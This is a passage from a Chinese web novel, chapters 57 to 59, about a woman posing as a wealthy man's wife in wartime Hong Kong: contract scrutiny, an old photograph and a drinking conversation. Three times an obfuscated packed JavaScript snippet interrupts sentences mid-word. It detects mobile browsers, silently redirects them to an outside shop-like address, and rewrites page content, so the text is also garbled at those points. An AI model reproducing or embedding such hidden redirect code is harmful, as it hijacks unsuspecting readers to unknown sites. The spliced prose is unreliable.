金雪池把东西放他床头了,为了检测他看没看,在不同页数夹了两根头发。结果他真没看。 只好找到定青,指望他当个传话筒。她不指望他能看懂详略不当的影印件,抽丝剥茧地讲给他听:“ 第一,看这里,爱丽丝号的货舱总容积只有一千三,密度特别大的煤也要1.4立方米每吨,想要装下一千吨,至少要一千四的容积,考虑到曲江的煤品质不很好,还得更大。但是合同上写的是载重一千吨。” 定青问:“合同上写了货舱容积吗?” “写的一千五。因为船的容积不好测,我们也没法测。”金雪池在膝上垛了垛那沓纸,“我拿的是内部保密文件,其实违反了职业道德,不过乔裕民也没道德。你不要出去说。” “好的。” “第二,根据维修记录,过去一年就有两次因为船底漏水返港,一次因为引擎故障延误,远高于行内平均故障概率。这也是内部资料。乔裕民没提船修没修过,合同却规定‘货物损失全由租船方承担’,很可疑,货物有可能受潮。” 定青恍然:“是的。” “第三,四条船的年纪都在十岁以上,速度大概也有问题,会多烧很多燃料。我没有直接证据,且看着吧。最后就是合同里说租金含战时保险,这个战时保险——” 说到这里时,薛莲山大步从外走进来了,她立刻闭了嘴,站起身。薛莲山看也不看她,自顾自地脱帽、脱大衣,进厨房洗手去了。 金雪池悄无声息地跟到他身后,扶着门框。 洗完手,他甩着水出来,甩了金雪池一脸,从她身边挤过去。金雪池一抹脸,又默默地跟到了卧室,看着他拿绢布擦眼镜。擦好后戴上,他平平地开口:“保密资料不能拿去跟乔裕民对峙,我没证据质疑他。” “那暂且用着破船,合同里关于承担损失的条款要改,战时保险取消。” 薛莲山半天没说话,心里觉得很稀奇,因为他好像真的需要金雪池提点一二。战争是秋天才打起来的,战时保险应运而生,他这段时期完全没钻研过任何保险业务,不清楚其中的门道。 金雪池觑着他的脸色,补充说:“这个是最初版本的战时保险,贵且不全面,他估计要赚中间差价。我给你投一个涵盖战争险和海盗险的组合,能涵盖这条航线九成以上的风险。” “那——”他想了一圈,想不出个所以然来,遂点点头,“好。” 金雪池一屁股坐在他对面的床上,用食指抠着床单,小声说:“别生气。” 薛莲山又觉得她可恶,又觉得她可爱,“谁生气了?我跟你生气?胡说,我从来不跟人生气。” 她低低地“哦”一声,溜出去了,两条长辫子拖在身后一荡一荡的。 年前薛莲山亲自跑了一趟曲江,坐船去广州湾,把从广州湾到桂林的路蹚了一趟,又租民用卡车、内河船,还办了个战时运输证。他是做实业起家的,不仅自己能跑,还对各部门、流程都熟,抢在过年前让这一条运输链动起来了。 金雪池已经对人寿保险工作厌倦了,对小胖子也很厌倦,他的指甲似乎始终处于受害后的应激状态,长得飞快,导致他每天都有新的可啃。可工作不就这么一回事吗?哪有永远新奇有趣的工作呢?绝大多数人的工作比她的更苦、更累、更无聊,工资还更低,这个世道,有份糊口的工作就不错了,还挑有没有趣。 她决定治治自己的小姐性子,把挡在自己和小胖子之间的一摞文件夹挪开了,使自己的偷懒无处遁形。小胖子又是个好事之人,更加积极地窥探她在干什么,她在他的监视下努力工作。 只在左手边竖起一摞书,阻挡小胖子的指甲攻击。书后有一本英文词典,是她唯一从上海带来的书籍。 临行前薛莲山嘱咐一切从简,不要带书。她还是偷偷带了一本,不是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249755|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为词典珍贵,而是字典里夹的字条珍贵。不带一本书的话,字条会揉皱扯烂的。有时候托着腮发呆,她望窗外的海港,望高天上的鸥鸟,望被风一阵一阵鼓动的纱窗帘,望一切自由之物。到最后,视线落到右手边,她把词典翻开,读一遍:前程似锦。 佩珀放假后,她独自一人待在家中,觉得好无聊;若出去逛街呢,没人陪,也是兴致缺缺。小桂提出要买年货,金雪池一想起什么腌鱼腌肉的就累,摆手道:“你看着办吧!” “走啦!”小桂拖她,“太太不要天天躺在床上。” 金雪池被迫出门,蔫头耷脑的,两手交叉插在袖子里。香港的冬天虽不是很冷,可他们搬来后一直没空置办新衣服,穿的还是在上海时的秋装,能穿,但稍有些寒意。小桂领着她钻进百货公司,在一沓看上去没什么区别的红纸中挑挑拣拣,金雪池靠在柜台边发呆,肩上被人拍了一下。 “嗨。”陈幼兰笑道,“雪莉,你也出来办年货?” 她胖了,脸蛋被风吹得泛红,改掉了少女时期的辫子,盘成了扁髻。两个小丫鬟依旧一左一右门神似地跟着。 金雪池也觉得“雪莉”这个名字太洋气了,连忙更正成薛太太。陈幼兰展现出极大的兴趣,想知道她这个上海毕业的大学生嫁给什么人了,一番交流情报后,陈幼兰压低声音问:“帅不帅?” 金雪池也压低声音:“特别帅。不过,他现在不在家,不然就请你去做客了。” “你来我家做客吧。”陈幼兰立刻道,“我来香港都没交到几个朋友,闷死了,欢迎你来玩。” 金雪池差不多猜得出是什么原因,她要在家里盯着袁孝勋,所以没空出门交际。她很想看看香港富人住什么房子,当即知会了小桂一声,说自己跟陈幼兰走了。小桂满不情愿地嗯了一声。 坐上袁家的汽车,陈幼兰抓住她一只手晃了晃,“我有喜了。” 太有效率了。金雪池不动声色地抽出手,多瞥了她几眼,试图找出女人怀孕后会有什么变化,大概是月份不大的缘故,除了胖以外,陈幼兰身上并无哪一处显现出她做了母亲。她甚至不像袁孝慈口中那位太太,至少在和金雪池相处时,仍然轻声细语、兴奋地满面红光。 “恭喜呀。” “谢谢。孝勋的前一位太太并未诞下一儿半女,去得太早了,他也很看重这个孩子。怕家中的佣人和我的生活习惯不符,伺候不好,他就把原来的佣人辞掉了,专门用我带来的这两个丫头。又把我娘也接了过来,有时候可以搭把手。” 现在有点像袁孝慈口中那位太太了。金雪池揣测是她自己借着怀孕的由头在袁家长辈那里大做文章,袁孝勋只能被迫接受身边全换成她的人。 袁公馆不是一栋楼,而是一片地区。从铁栅门开进去,先是一片广场,中间有个喷泉,喷泉后面是五栋小楼,在排布上似乎有风水讲究;零零散散又有各种低矮房屋,给佣人住。楼群背后是一片大花园,凉亭、假山、鲤鱼池应有尽有。 金雪池由衷道:“真气派。我都不好意思再请你去我们家做客了,我们家很破。” “哪有的事!” 57.照片 陈幼兰引她进了最靠右的一栋楼,袁孝勋排名老七,她们一家和排行老六的一家同住。“家里人有点多,”她解释说,“我和我娘一般在这间屋子里活动,原来是书房,孝勋也不看书,我就把那长桌子挪走,摆了一些欧式的皮沙发......” 她推门进去,陈太太正歪在一个沙发上打毛衣,乍一看到金雪池、愣了好几秒,把针线架子转身放在五斗柜上,同时扣到了一个相框。 陈幼兰高高兴兴地把金雪池介绍给她,她一边听,一边点头,道:“我认识的。还是你们年轻孩子玩得好,薛太太在船上并不搭理我。” 金雪池被陈太太一席话弄得十分尴尬,好在陈幼兰了解自己的母亲,也有点了解金雪池,不认为她是故意对自己母亲不礼貌。 丫头泡茶拿点心去了,陈幼兰拿来一个描花样的册子,给她分享最近制了几身什么样的衣裳。据金雪池观察,那花样还是较为乡土。唧唧啾啾地介绍完,她又把婚礼上的礼单翻出来,指着那些名字,一个个看他们随了多少礼。 “这个是你们吧?薛莲山夫妇。”她用涂了红蔻丹的指甲尖一路比着划过去,“嗯......” 金雪池立刻不好意思了,“我们的经济状况不太好。” 陈幼兰也想到了,她是谁来都爱讲这些,可当着金雪池的面,好像显得小家子气。“不,不,没有关系的,你和薛先生结婚我还没随礼呢,我就是忽然想起你们的名字可能在上面......咦,并不少呀,有一千。” 绝对没有一千。金雪池默默地想:袁孝慈帮忙垫钱了。 陈幼兰虽然过完年才十七,也新婚燕尔,但在做太太这件事上简直像有十年以上的功力,不仅细数谁家够意思、谁家太小气,又取来袁家的相册、族谱手抄本,给她讲起了袁家的祖上功业,哪位长辈做了什么事、哪位亲戚丢了什么人,似乎她已经在这个大家族里转世了好几辈子。 她谈起袁孝慈时的语气,是相当之钦佩且喜爱的。袁孝慈在袁老爷身边扮演着一个话事人的角色,这些时日的难民潮引起了巨大的社会问题,作为行政官的女儿,她正积极为慈善赈灾、华人社群内部协调而奔走,在公众面前有相当好的形象...... 金雪池本来是喜欢听八卦的,但她爱听比较刺激的八卦。陈幼兰的叙述方式和内容都偏向无聊,听得她晕头转向,感觉不如陪小桂办年货。好在两小时后,楼下响起了引擎声。 “这是孝勋回来了。”陈幼兰说,“他开车就是这个动静。” 金雪池都快爱死薛莲山了,但并不能听出他开车和别人开车有什么不同,不禁对陈幼兰刮目相看;类似的传说,她只听说过母亲能在一百个婴儿的哭声中听出自己的婴儿是哪个。 陈幼兰和陈太太同时起身,陈幼兰出了房间,陈太太望了金雪池一眼,重新坐下。 她知道是什么缘故。 倘若陈太太不表现得戒心这么重,她还不一定对人家的相框感兴趣,但这样一个局面,金雪池非看不可了。她有种小孩般的逆反心理,也无意去想道不道德。陈太太是岿然不动的,她假装转身去摆弄五斗柜上的茶具,一手提起茶壶,另一手的食指就无声地把相框撬了起来;将茶壶搁在玻璃板上时,相框也重新倒扣回去,轻轻一声。 金雪池心里惊涛骇浪,面上却不显现出来,只是端着自己的小茶杯,哼哼着绕到窗前去透风。 她差点以为看到了小时候自己。 当然,那不是她。照片中的人留着清末时流行的“满天星”发型,穿大襟袄、百褶裙,还裹了小脚,坐在高背椅上,两只伶伶仃仃的脚够不到地面,只是悬垂着。几十年前的照相技术能把再漂亮的人都照得一脸呆样,然而这个少女不同,直瞪着镜头,双唇紧抿、中间一大截线条平行,嘴角朝上。 笑得有点坏。 金雪池面无表情地望向窗外,试图也这么笑一下,但因为脸部肌肉常年缺乏活动,笑得很诡异。 陈幼兰许久不回来,她和陈太太同处一室倍感煎熬,溜下楼去了。尚站在二楼楼梯口就看到这样不雅的一幕:袁孝勋正躺倒在客厅的木沙发上,抓了一把瓜子在手上,嗑得满地都是。 袁孝勋看到金雪池,一骨碌坐起来了,张口便是:“喂,我姐现在还喜欢你老公。” “薛太太。”陈幼兰的声音不知从哪个房间飘出来,比单独与她相处时更细、更柔,“你先走吧!改天我去找你玩,等会儿我们要出去一趟。秋衫,你给薛太太一角车费!” 金雪池连连说不用,抬腿便走。 此后多天她都在思考照片里的少女和陈太太的关系,一点也不参与筹备过年,使小桂很不满,认为她这个太太是不合格的。 首先,少女必不能是陈太太,因为少女是高鼻子、陈太太是塌鼻子。也不会是陈幼兰小时候,陈幼兰虽是高鼻子,但时代对不上。大概是朋友、亲戚之类的关系。桌上甚至连陈太太自己的相片都没有,就只有那一张照片,说明陈太太相当之珍重此人。 第二,少女跟自己是什么关系呢?虽不知道她长大了是什么模样,但真跟她当少女时一模一样,脸有点局促,没长开,黄花菜似的身材,世上不会有第二个人和她那么相像了。 金雪池几乎是瞬间就想到:我妈妈! 她兴奋地在屋里走来走去,想抓住陈太太问个究竟,但社交是有规则的。恰如没人问她的本姓是什么,她也不能问陈太太的本姓是什么,突破了这层规则,就和袁孝勋的冒犯程度没有差别了。那她就婉转地去套话,要么她去套陈幼兰,要么让薛莲山去套袁孝慈......算了,我姐喜欢你老公。还是她去套陈幼兰吧。 于是隔天金雪池又打算去一次,临走前,小桂很惊讶地问她怎么在饭点空手去别人家,然后给她塞了一只桂花鸭。 金雪池没有劳动定青送,自己叫了一辆黄包车。坐在摇摇晃晃的车上,她抚着包裹桂花鸭的报纸,心里很迷茫:小桂都比她周全。碰上更周全的陈幼兰,她能顺利套出话吗?陈幼兰又那么爱“数家珍”,把每天的事细细一数,陈太太也知道她偷看照片了,袁孝勋也会到处嚷嚷。 “师傅,”她叫道,“停车。” 沿着海岸线往回走,她抱着手臂,无限回味着母亲。此刻是黄昏时分,海岛城市的霞光要比内陆城市更浓酽些,她仰着头走路,天高地迥,觉宇宙之无穷。无穷的宇宙间,却又让她和母亲如此相遇......看似是人海茫茫,其实23个陌生人挤一屋,就有过半几率找到共享生日的人。 好像有人在叫一个姓高的人,金雪池痴痴地走着,没注意。直到何二太太一只手落在她肩膀上,明明白白是在喊她:“高材生!” “何二太太,你好。” “我正要回家呢。你提着一只鸭子散什么步?” 她想了想,把鸭子递过去,“送给你。” 何二太太于是仰头大笑起来。她是女人味十足的那种人,这样毫不做作地笑、笑得浑身直抖,也别有一番娇媚的风味;领子上一朵假绢花,花瓣也跟着颤。 “谢谢,薛太太。”何二太太一把抓住她的腕子,“走,我请你吃饭。” 何二太太和薛莲山这种喜欢排场的人不同,请吃饭也请得实惠,路边就找了家馆子,然而仔细研读菜牌子后,点了一溜菜;同时让店小二打电话到家里去,说不回去吃了。并排坐着,她又把金雪池浑身上下摸了个遍,这里嫌瘦那里嫌瘦,问:“大学的食堂吃得不好吗?” “不是,我不容易长肉。” “哪有不容易长肉的?还是太辛苦了。听口音,你是广东人?” 金雪池感到很郁闷,她以为自己的国语很好,结果谁都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254038|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道她是广东人,“是的。” “广东哪里的?” “搬了几次家,都住过。” 何二太太是个心里有数的,并不多问,“上海人不欺负外地人吧?不过你上的好学校,同学素质应该很高。” “好像......有点瞧不上苏北人,因为离得近,知根知底。广东太远了,他们没有概念了。” “那不是,广东还是发达。”何二太太一笑,“我是川西农村出来的,穷得没裤子穿。我有个弟弟,过去也在上海上大学。” 金雪池就猜是这样,猜测得到验证,很满意,又觉得此刻笑不合时宜,就举起杯子喝了一口水。一口喝干了,随后意识到何二太太给她倒的酒。她自己都不知道自己这么能喝。 何二太太亦是十分惊异,她一口气喝一杯白酒,脸不红气不喘的,又给她倒了一杯。金雪池只好把家规搬出来:“我们家禁酒。” 何二太太的表情十分不以为然,大把大把地给她夹菜。在她忙于埋头苦吃的时候,放下筷子,慢慢道:“‘不要做什么’是说给傻子听的,不要玩火,不要吃地上的东西,套个安全圈,免得傻子死了;‘要做什么’才是说给聪明人听的,指引你往外走。薛太太啊,不瞒你说,在男女感情方面我算专家,我看得出你不像给人当太太的。还是处女吧?” 金雪池差点把自己呛死了,“呃......” “你们都可以假扮夫妻的关系了,还没有发生过关系,这人还比较仗义。”何二太太感慨道,“唉,我以为都是发生了实质性的关系,情感上的关系才能开始呢。也是我遇人不淑,我以为大财主都如此。” 金雪池感觉何二太太好像把自己当成和她一样的人了,被包养什么的......事实其实也如此。她无力地辩驳了一句:“不是夫妻,我们也是男女朋友。” 何二太太好像听到了比为钱而当情妇更荒谬的事:“哦?你喜欢他?” 她算是默认了。 何二太太原来预备把这个和自己同处境的小高材生拉入自己的阵营、当做自己的密友,意识到情况有点不一样,原来天下可怜之人还是只有自己一个。啜了一口酒,她最终道:“如果是这样的话,你不必如此谨慎。如果真有爱这样的事情发生,谨慎会让你错过很多的,你是个陌生的小妹妹,我才对你说这些。” “我以为,克制欲望是一种修行。” “实现欲望才有意思呢。欲望使女人年轻。” “你不知道我的情况......有多危险。若不是时时警戒自己,我根本要引火自焚。” “你要是铁,就不怕火了。” 金雪池闻到她身上的一阵香,很自然芬芳的、女体的香味,和薛莲山的香水气不同。然而她又确实在这个女人身上感受到了和薛莲山相同的东西,一感受到,她就情不能自拔。“你肯定是。何二太太,我很惭愧,你叫我高材生,其实我除了读几本书之外并无成就......” “来得及。” 何二太太已经有些脸红了,她皮肤白,泛起红晕后更是美丽动人,唇上的釉光亮闪闪的,不给人以“侍儿扶起娇无力”的媚态,却显得血气更充沛、眼睛更明亮。用手里的杯子碰了一下金雪池手里的杯子,她笑道:“薛太太,你年轻、漂亮、有学历,放轻松一点。世界是你的游乐场。” 金雪池攥着杯子,面色如常,简直像是不为所动一样;然而几秒后,她把第三杯酒喝下去了。 两个女人都很能喝,分手时,立在路边等了一会儿黄包车。金雪池有一个非常周全的想法,那就是送何二太太回家,结果何二太太响亮地骂了一个差点撞上她们的小乞丐,似乎不用她送。 “为什么要跟我说这些呢?”她最终只是问。 何二太太踩上黄包车,挥了挥手,“回报你送我鸭子。” 58.回家 金雪池回到家里,越想越觉得何二太太这人非同凡响,几句话,就把金文彬在她脑子里根植二十年的一种观念撬动了。 妹妹,唔好赌啊。 可是我很擅长赌。当然,这仍是一件慎之又慎的事,她的“擅长”中包括她比任何人都要抵御诱惑、见好就收,但她无疑也是有头脑和技巧的。 话说回来,难道金文彬没有吗?金文彬比她还多这么多年的阅历。不过金文彬对儿女的定位都是衣食无忧少爷小姐,不指望他们有大出息,只要不败家就好了。现在则不同,金雪池当不上小姐了,又因为爱着那样一个人,非有大出息不可。 除夕当天他们三个把房子洒扫一番,然后金雪池和定青到厨房里给小桂打下手,做出了六道菜。无线电里在唱帝女花,小桂喜欢热闹,虽听不懂唱得什么,也跟着直哼哼。金雪池自知没有音乐天赋,不献这个丑,一边揪着面皮,一边字字句句听着:“唉,我只道今生难再见,谁知今日会重圆。你看故国江山已换主,可怜父女两分离!” 油锅里呲啦一声,蹦出几颗油星子。小桂猛地往后一跳,还不等她瞧清楚手臂上烫成什么样了,定青就一把抓她过去,舀起缸里的水浇在她胳膊上。 这一下抓得好用力,小桂顺着一个踉跄,顿时也觉出了自己的娇弱,叫了一声。 “严重吗?我去拿牙膏来。” 其实不严重,小桂拿漏勺把几个炸春卷捞上来,就专心致志等她的牙膏。定青没有整管拿下来,只在食指上挤了一小坨,举着问她在伤处在哪里。由于实在不严重,她自己都不知道在哪里了,就胡乱一指;定青低头攥着那条浑圆的臂膀,手指很不自然地紧了紧,他一直没和年轻女人如此相处过,才知道女人的肉比男人的肉软得多,摸上去像橡胶热水袋。 小桂瞥了他一眼,心里美滋滋的,重复道:“这里。”其实指的位置和上回略有不同。定青没注意到,以为她不耐烦,三两下涂匀了。 她拎起锅,把浊油倒掉。定青转过身,把食指上残余的最后一点牙膏刮到唇上。 金雪池第二日早上照例睡懒觉,被小桂强行摇醒了。“太太,”小桂冲着她的脸说,“新年快乐,吉祥如意。你也说。” 金雪池睡意朦胧地乱说了几个词,手里被塞了个橘子,人也被重新塞回被窝。她一直睡到中午才起来,和小桂一同去庙里进香,两人被人流挤散了,回家汇合的。 大年初四时,薛莲山回了。金雪池听到黄包车靠近的声音,感应了一下,没感应出特别的东西,只是因为他们这条街的路不好,坑坑洼洼、常年积水,黄包车不爱往这儿过,故而知道是他。还是陈幼兰厉害。 小桂率先欢天喜地地冲出去了,其次是定青,金雪池磨蹭在最后,甚至不肯走到门厅去,只是歪在沙发中间的红酸木圆几边上。圆几上摆了个饼干筒,底部压了几颗石子,里面插了两束洋紫荆。 薛莲山被人迎接倒不觉得有什么,不被迎接才觉得岂有此理。他正要说金雪池岂有此理,遥遥一望,她在室内穿一条很紧的格纹旗袍,显得特别苗条,脸又被花遮去一点,给他一种“去年今日此门中”的恍惚感,似乎上一次见她是很久之前的事了。 他左手的行李箱被小桂接过去了,定青正要接他右手的大纸袋,他没给,走过去给金雪池看,“瞧这是什么?” 金雪池从纸袋里拿出一个盒子来,已经知道了是皮鞋。揭开盖子,她伸手捏了捏,感觉何二太太的鞋子做得确实好,皮又韧又牢,鞋垫也厚,四周也有包裹、防磨脚。他给她挑的是秋冬款,哑光的黑面,只有皮带扣银光闪闪,很秀气。 来香港后,谁也没置办新行头,脚上这双绣花鞋天天穿,是该和皮鞋轮换一下。 她把盒子盖好,抱在怀中,“这是你在跟我道歉。” “我有什么可道歉的?”薛莲山咳了一声,一屁股坐在沙发上,小桂已经飞快地端菊花茶出来了,“倒是你,我出门一个多月,回来你什么表示也没有——” 金雪池纠正他:“二十九天。” 他猛烈地咳起来,岂有此理,岂有此理!金雪池觑了他一会儿,还没动,小桂又端起茶碗,送到了他嘴边。他接过来慢慢喝了大半碗,决心再不理会金雪池。 在外面奔波得久了,身体一劳累,病根就开始作祟。薛莲山要把生病的苗头扼杀在摇篮里,找了各种药出来吃,其种类之杂、数量之多,疑似能互相产生化学反应。早早吃过晚饭、洗了个热水澡,他八点就上床睡了。 金雪池本来要在长桌上看自己借来的志怪小说,他进了房,她也轻轻地进房,窝在床上看,耳边是他不绝于耳的咳嗽、换气声。 小桂半个小时进来一次,把放凉了水换成热水,又问他要不要这、要不要那,他其实也没开始生病,单纯就是咳嗽,什么都不要,只要小桂别来不停地打扰。小桂坚持说:“要不,我留下来打个地铺吧!” “用不着。”薛莲山诚恳道,“我早上还是自己坐船搭车回来的,拿着那么多东西。谢谢你,小桂,咳,你去休息吧。” 小桂前脚刚走,他后脚就去把门锁了。 半个小时后,她果然卷土重来,这回推门没推动,有些回过味来,又怅然、又面红耳赤的,一转身就看到定青的目光正越过报纸凿着自己。她也盯了他几秒,逐渐流露出愤慨的表情,冷哼一声、甩手就走,木拖鞋在地板上啪嗒啪嗒直打。 定青重新低下头看报纸。 房内,金雪池熄了灯,准备睡觉,但被吵得睡不着,只能翻来覆去地换姿势。被褥前几天晒过的,蓬松干燥,人在里头一打滚,它就沙沙响。 薛莲山开口道:“你去跟小桂挤一屋吧!或者我去跟定青挤。” “没事。”顿了顿,她又说,“顺利吗?” “挺顺利,现在一个月盈利两万多。” “唉。” “六百万不必,咳,全部还完,去了美国就可以把部分债务债转股。以及这样转运的线路我可以再开几条,等过了年,我再去一趟安南。” 金雪池盯着虚空中的一点,觉得他真是好能折腾、好精力充沛。“我说是二十九天,你......为什么不高兴?” “谁不高兴了?” “不知道你有没有意识到,你很喜欢用陈述句,有一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259838|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彰显情绪稳定的功效。当你情绪不稳定的时候,你就会说,谁生气了?谁要道歉了?谁不高......” “停,”他一翻身坐起来,呷了一口温水,然后决定跟她好好算账,“金雪池,有句话我早想跟你说了。你有病吧?” 金雪池平静道:“很多人都这么说过。但是我对很多人确实是不经心,对你却有所不同。我不见得会记住别人是哪一天动身的。” “你有病,就有病在关注这些莫名其妙的东西。倘若你是个人物就算了,你什么都不是,其实应该遏制一下自己的毛病,学会投人所好。我在乎这种东西吗?就算现在,我破产了,依然有不少人愿意爱我、追随我、为我而死。你记得我哪一天走的又如何?你就只能做到这一步了?” 他姿态随意地坐在床边,穿着晨衣、抱着被子,嗓音还哑,然而气势是压迫性的,金雪池差点脱口而出:我也愿意爱你、追随你、为你而死。她一身细骨头在冬夜里格格发颤,费了好大的劲儿,才把这一阵邪火镇压住。现在不是时候,他不能为她做到相同的事,她就不能把底牌打出来。 半晌后,薛莲山说:“水冷了。” 她把脚踏进鞋里,去给他倒热水。回来后,刚把杯子放下,薛莲山一只手抱住她的腰,把她拐到自己床上。好细的腰,以及她胸部绝不算平,只是不大,然而玲珑有致。他恨不得用力再箍一箍,但再箍金雪池要跑了,她现在能和他贴身坐着,他见好就收。 此刻房里伸手不见五指,天气又寒冷,正适合耳鬓厮磨、呶呶细语。因为她平日里一点有人情味儿的事也不干,薛莲山对她的标准非常低,得到一杯水的伺候,他决定暂时按下她的毛病不提,有意编点情话跟她呶呶细语。 “明天带你出去转转。有想去的地方吗?” “都可以。”金雪池想了想,又补充说,“我们能不能带点礼物去拜访何二太太?” “我今天去鞋店的时候,伙计说她怀孕了。” 陈幼兰也怀孕,何二太太也怀孕,就她这个假太太不怀孕。“那更应该去拜访。” “不,她闭关式养胎,好像之前小产过,不能受打扰。你不要往上凑,要是出了什么问题,何家要怪你的。”他咳了一声,好像想到什么好笑的事情,“虽说大家都心知肚明怎么回事。有一种流传很广的闲话,就是她那个先生......” 金雪池竖起耳朵听,薛莲山觉得不适合,没接后文。金雪池就了然了。 大半夜嚼别人家的舌根,是夫妻间才会做的事。她从来是个沉得住气的人,然而此刻忍不住把陈太太那张照片的事情也讲给他听,除了爱这一件事,她在他面前是没有秘密的。 又因为紧挨着,不管是他说话还是咳嗽,都有轻微的震动传导到她身上。她讲着讲着,感觉他为了不打断她、一直没用力咳出声,但身上一波一波地在震,遂推他躺下,把被子给他拉上来,“......陈太太的眼睛、眉毛的形状和我很像,我觉得我们可能沾亲带故......” 薛莲山忽然一把把她也拽倒,亲她耳下的脖颈。金雪池认为他才是有病,讲得好好的,“你干嘛?” 59.展览会 “你今晚是不是终于修炼成人啦?” “我在说陈太太,你有没有在听?” “有,你说你们的眼睛眉毛一样漂亮。不过你怎么突然通人性了?你还知道怕我着凉。” 金雪池觉得“通人性”这个说法很诡异,但一时间也找不到更恰当的词,“我是有点不通人性,但你也有问题。” “又是我有问题。” “你要么把人当傻子哄,要么直接不沟通。如果你说‘去做什么’,我就会去。但情况往往是我不知道要做什么,你对我不爽了,你也不说,依旧笑眯眯的。”金雪池又开始当侦探,“究其原因,一来是你要在对方心里留下好印象,如果你提条件或批评人,印象就不会好。二来是你无意跟人进行真正的交流,你说话,只是为了展现个人魅力,不为与人互相理解、磨合,最后达到一个双方都满意的长期稳固状态......” 薛莲山瞠目结舌,有些行为,他自己都没总结过,由她来告诉她,他先是觉得钦佩,再就有点挂不住脸了,“好了,好了。有你这样说话的吗?” “我不常这么说话,因为我也不跟人交流。”金雪池正色道,“薛先生,我一旦说得多了,就是很有诚意。” 诚意自然是有,但她的诚意完全不是情不自禁式的,诚得很理性,先指出他的问题,再引申到自己,再表态,其格式之严谨、逻辑之顺畅,足以成一篇八股文。她是理性大过一切的人。其实他也是。她没有心。他也没有。 他们本质上是相同的人。 薛莲山难免怃然,他真希望她能爱他。他在这世上的同类不多,如果能得到她的爱,他会感到荣幸。但既然是他的同类,她也会是个铁石心肠,对她多好、陪她多久都是没法打动她的。什么能打动她呢? 什么能打动自己呢? 他不知道。但是因为太迷恋自己,他也有点迷恋她。 第二日他的咳嗽好了很多,又吃了花花绿绿一大把药,两人穿戴整齐上街去。因为没有目的地,只是乘坐铛铛车乱兜圈子。 金雪池很喜欢坐铛铛车,且一定要坐二层。夏天时,景物周围晕着一层油乎乎的光,似乎快要熔化,色彩也过度饱和明亮;寒冷的空气却能让视野变清晰,极目望去,广告牌、邮筒、行人的质感都很干爽实在,令人心旷神怡。 坐在窗边,风一股一股顺着领子往里灌,金雪池觉得非常快乐。晴朗的玻璃上,她只有一个淡淡的影子,但这影子是很美的,因为淡,更似一缕香魂。因为不至于太冷,她还是能穿厚旗袍,从头包到脚,外面披一件外套、里头穿一条丝袜,毫不臃肿。她瞧了几眼自己,满意极了。 薛莲山看不出她的快乐,只见她面沉似水,以为是没睡醒。 “下车。”他牵起她,“中环在办活动。” 一下车,首先是一队学生游行而过,喊着“支持国货,驱逐日寇”的口号。铁岗圣保罗书院的大门上扯了一道横幅:中国货品展览会。里头摆了数十条展览柜,一直延伸到街上,涵盖织造品、电器、五金、化妆品、食品等商品种类,场地中央搭了个戏台在唱戏。 “你看,我不做外贸就是这个缘故。国产的东西运到海外没人要,洋货在国内也受抵制。” “好多人啊。”金雪池道,“我们也进去看看。” 原本是他牵着她,她的手掌平平直直地不动;现在人要往前走,怕两人的手脱了,她也反用一点力去牵他。戏台边上立了一个募捐箱、几道木牌,写着“香港基督教青年会”“妇女兵灾筹赈会”等等组织名。看完木牌,看戏台,两人在其中找到一个格格不入的青衣,唱得也难听,身段也丑,但是自得其乐、陶醉万分。 “这不能是袁公子吧?”金雪池小声道,“大庭广众之下,还是这样的公益活动,袁家让他出来丢人现眼?” 薛莲山笑道:“不,不不。等会儿,看看袁小姐在不在附近?” 他们绕场子兜了一圈,一边找袁孝慈,一边决定支持一下国货。金雪池挑了一小盒吸油纸和一个印了“保卫山河”字样的布袋,薛莲山买了一沓手帕和一罐枇杷膏,直接塞进她的袋子里。他现在在她面前不是那么注意当绅士。 上一出戏已经结束了,那青衣果然是袁孝勋,现在妆发未卸,正对着话筒发表一通名为《中国人要买中国货》的演讲,往外蹦两三个字,就要低头看一眼稿子。 出了门,两人沿着街道一直走。那袋子不长不短,手臂一垂下来,它就正好贴着她的腿,金雪池只好用小腿一下一下地顶它。薛莲山挽着她另一条胳膊,道:“他以前丢人多了!现在倒不能说是丢人现眼,还能参加一下慈善活动,撑撑场面。袁小姐不知道为什么没来,但是他今天胡闹一通,报社就能写他——为赈灾亲自献艺,一枝一叶总关情。” “哦,那还是好事?” “是好事,他们官员子女,就靠这样的活动攒履历。” 金雪池很不以为然,“陈幼兰说他是个票友,我以为就是爱吊吊嗓子呢,他居然扮女人。” “他是有些怪,我们刚认识的时候,他说他有一种病,叫恐女症。” “啊?” 